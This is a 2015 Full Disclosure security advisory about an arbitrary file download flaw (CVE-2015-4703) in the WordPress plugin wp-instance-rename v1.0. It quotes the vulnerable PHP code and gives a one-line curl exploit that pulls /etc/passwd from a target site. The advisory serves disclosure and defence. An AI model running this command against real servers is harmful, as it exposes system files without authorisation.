[FD] Arbitrary File download in wordpress plugin wp-instance-rename v1.0

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0 Author: Larry W. Cashdollar, @_larry0 Date: 2015-06-12 Download Site: http://ift.tt/1Jh6ovB Vendor: Vlajo Vendor Notified: 2015-06-12 Advisory: http://ift.tt/1Nh6dij Vendor Contact: Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from one page. Vulnerability: The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory: try{ $dbname = $_GET["dbname"]; $dumpfname = $_GET["dumpfname"]; $backup_folder = $_GET["backup_folder"]; }catch (Exception $e){} if(empty($backup_folder)){ $backup_folder="backup/"; } echo "$dumpfname"; if (file_exists($dumpfname)) { // zip the dump file $name=$dbname . "_" . date("Y-m-d"); $zipfname = $backup_folder.$name.".zip"; $zip = new ZipArchive(); if($zip->open($zipfname,ZIPARCHIVE::CREATE)) { $zip->addFile($dumpfname,$dumpfname); $zip->close(); } // read zip file and send it to standard output if (file_exists($zipfname)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($zipfname)); flush(); readfile($zipfname); CVEID: 2015-4703 OSVDB: Exploit Code: • curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=." http://ift.tt/1fKI74C -o p.zip

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